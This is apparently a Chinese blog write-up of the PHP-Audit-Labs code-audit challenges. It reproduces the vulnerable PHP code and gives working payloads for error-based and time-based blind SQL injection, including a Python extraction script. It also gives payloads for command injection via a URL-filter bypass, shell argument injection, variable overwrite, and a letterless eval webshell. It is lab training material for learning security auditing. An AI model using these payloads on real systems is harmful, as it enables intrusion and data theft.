代码审计之——PHP-Audit-Labs

在github上面找的一个代码审计的项目,地址是:

https://github.com/hongriSec/PHP-Audit-Labs/
正好通过这个项目练习一下代码审计,每个都包含了不同的知识点,学习学习。

Day1 - in_array函数缺陷

题目如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
}
?>

config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//config.php
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day1";

function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>

这道题考察的是in_array()绕过和不能使用拼接函数的updatexml报错注入。
in_array()
在index.php中把id值传入whitelist数组中,然后用户传入的id先经过过滤函数过滤,然后再用in_array判断用户传入的id是否在whitelist中。这里in_array()是没有使用强匹配,所以可以绕过,当传入的id值为1’便可绕过in_array函数。
updatexml
这个stop_hack函数把该过滤的都过滤了,其中过滤了concat连接函数,而我们如果使用updatexml报错注入前面都要拼接0x7e这样的特殊字符,否则查询的数据会丢失一部分,而concat被过滤了。我们还可以使用 make_set 或者 export_set() 函数来拼接字符,可以参考mysql make_set()的用法

1
2
3
4
mysql> select updatexml(1,export_set(1|1,'~',(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '~,root@localhost,root@localhost,'
mysql> select updatexml(1,make_set(3,'~',(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '~,root@localhost'

然后看一下本题payload:

1
id=4 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

Day2 - filter_var函数缺陷

题目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}

}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}

?>

这个考察的时filter_var函数的绕过与远程命令执行,中间exec函数拼接了$site_info['host'],而$site_info['host']是parse_url($url)得来的,url是我们传入可控的,问题就是药绕过filter_var的FILTER_VALIDATE_URL过滤器,这里提供了几个绕过方法,如下:

1
2
3
4
5
6
7
8
http://localhost/index.php?url=http://demo.com@sec-redclub.com
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com#sec-redclub.com
PS:最后一个payload的#符号,请换成对应的url编码 %23

接着要绕过 parse_url 函数,并且满足 $site_info[‘host’] 的值以 sec-redclub.com 结尾,payload如下:

1
?url=demo://%22;ls;%23;sec-redclub.com:80/

不知道为什么在windows下加上#就绕过不了了,在linux下可以,然后cat flag的时候,因为filter_var函数不可以使用空格,换成cat<flag就好了。

Day3 - 实例化任意对象漏洞

先看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}

实例化漏洞结合XXE,不会,先跳过了。

Day5 - 全局变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['hongri']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
system("curl ".$url);
}
}
?>

循环获取字符串 GET、POST、COOKIE ,并依次赋值给变量 $__R 。然后判断 $$__R 变量是否存在数据,如果存在,则继续判断超全局数组 GET、POST、COOKIE 中是否存在键值相等的,如果存在,则删除该变量。这里有个 可变变量 的概念需要先理解一下。

可变变量指的是:一个变量的变量名可以动态的设置和使用。一个可变变量获取了一个普通变量的值作为其变量名。

我通过 GET 请求向 index.php 提交 flag=test ,接着通过 POST 请求提交 _GET[flag]=test 。当开始遍历 $_POST 超全局数组的时候, $__k 代表 _GET[flag] ,所以 $$__k 就是 $_GET[flag] ,即 test 值,此时 $$__k == $__v 成立,变量 $_GET[flag] 就被 unset 了。但是在 第21行22行 有这样一串代码:

1
2
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

extract 函数的作用是将对象内的键名变成一个变量名,而这个变量对应的值就是这个键名的值, EXTR_SKIP 参数表示如果前面存在此变量,不对前面的变量进行覆盖处理。由于我们前面通过 POST 请求提交 _GET[flag] = test ,所以这里会变成 $_GET[flag]=test ,这里的 $_GET 变量就不需要再经过 waf 函数检测了,也就绕过了 preg_match(‘/flag/i’,$key) 的限制。

再往下就是提交两个md5值都是0e开头的值就好了

第二部分

主要考察 curl 读取文件。这里主要加了两个坑, escapeshellarg()escapeshellcmd() 一起使用的时候会造成的问题,主要看看这部分代码。

1
2
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
  • escapeshellarg ,将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
  • escapeshellcmd ,会对以下的字符进行转义&#;|*?~<>^()[]{}$, x0AxFF, '"仅在不配对儿的时候被转义。

两个函数配合使用就会导致多个参数的注入,我们详细分析一下:

  1. 传入的参数是:172.17.0.2’ -v -d a=1
  2. 经过escapeshellarg处理后变成了’172.17.0.2’'‘ -v -d a=1’,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
  3. 经过escapeshellcmd处理后变成’172.17.0.2’\‘’ -v -d a=1',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义.
  4. 最后执行的命令是curl ‘172.17.0.2’\‘’ -v -d a=1',由于中间的\被解释为\而不再是转义字符,所以后面的’没有被转义,与再后面的’配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1’,即向172.17.0.2\发起请求,POST 数据为a=1’。

其实这里直接读取127.0.0.1/flag.php就好了。

Day6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
include 'flag.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
highlight_file(__FILE__);
?>

这道题主要考察正则表达式,和弱类型比较的问题,
| alnum | 字母和数字 |
| ——– | —————- |
| alpha | 字母 |
| ascii | 0 - 127的ascii字符 |
| blank | 空格和水平制表符 |
| cntrl | 控制字符 |
| digit | 十进制数(same as \d) |
| graph | 打印字符, 不包括空格 |
| lower | 小写字母 |
| print | 打印字符,包含空格 |
| punct | 打印字符, 不包括字母和数字 |
| space | 空白字符 (比\s多垂直制表符) |
| upper | 大写字母 |
| word | 单词字符(same as \w) |
| xdigit | 十六进制数字 |

代码中共有三处正则表达式匹配,挨个看一下。
第一处的正则 /^[[:graph:]]{12,}$/ 为:匹配到可打印字符12个以上(包含12),^ 号表示必须以某类字符开头,$ 号表示必须以某类字符结尾。第二处正则表达式:

1
2
3
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;

表示字符串中,把连续的符号、数字、大写、小写,作为一段,至少分六段。
第三处:

1
2
3
4
5
6
7
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;

表示为输入的字符串至少含有符号、数字、大写、小写中的三种类型。然后题目最后将 $password 与42进行了弱比较。
最后pyayload为:

1
42.000e-0000

Day7

1
2
3
4
5
6
7
8
9
<?php
$a = "hongri";
echo $a;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo '<a href="uploadsomething.php">flag is here</a>';
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}

先提交一个id=a[0]=s878926199a,然后条件竞争一下就好了。

Day8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE__);
// $hint = "php function getFlag() to get flag";
?>

无字母数字webshell,直接

1
2
echo urlencode(~'phpinfo');
//输出:%8F%97%8F%96%91%99%90

然后提交?code=(~%8F%97%8F%96%91%99%90)(),便可以了。

Day10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'config.php';
function stophack($string){
if(is_array($string)){
foreach($string as $key => $val) {
$string[$key] = stophack($val);
}
}
else{
$raw = $string;
$replace = array("\\","\"","'","/","*","%5C","%22","%27","%2A","~","insert","update","delete","into","load_file","outfile","sleep",);
$string = str_ireplace($replace, "HongRi", $string);
$string = strip_tags($string);
if($raw!=$string){
error_log("Hacking attempt.");
header('Location: /error/');
}
return trim($string);
}
}
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
if(isset($_GET['id']) && $_GET['id']){
$id = stophack($_GET['id']);
$sql = "SELECT * FROM students WHERE id=$id";
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo '<center><h1>查询结果为:</h1><pre>'.<<<EOF
+----+---------+--------------------+-------+
| id | name | email | score |
+----+---------+--------------------+-------+
| {$row['id']} | {$row['name']} | {$row['email']} | {$row['score']} |
+----+---------+--------------------+-------+</center>
EOF;
}
}
else die("你所查询的对象id值不能为空!");
?>

时间的盲注,使用benchmark。脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import sys, string, requests

version_chars = ".-{}_" + string.ascii_letters + string.digits + '#'
flag = ""
for i in range(1,40):
for char in version_chars:
payload = "-1 or if(ascii(mid((select flag from flag),%s,1))=%s,benchmark(200000000,7^3^8),0)" % (i,ord(char))
url = "http://localhost/index.php?id=%s" % payload
if char == '#':
if(flag):
sys.stdout.write("\n[+] The flag is: %s" % flag)
sys.stdout.flush()
else:
print("[-] Something run error!")
exit()
try:
r = requests.post(url=url, timeout=2.0)
except Exception as e:
flag += char
sys.stdout.write("\r[-] Try to get flag: %s" % flag)
sys.stdout.flush()
break
print("[-] Something run error!")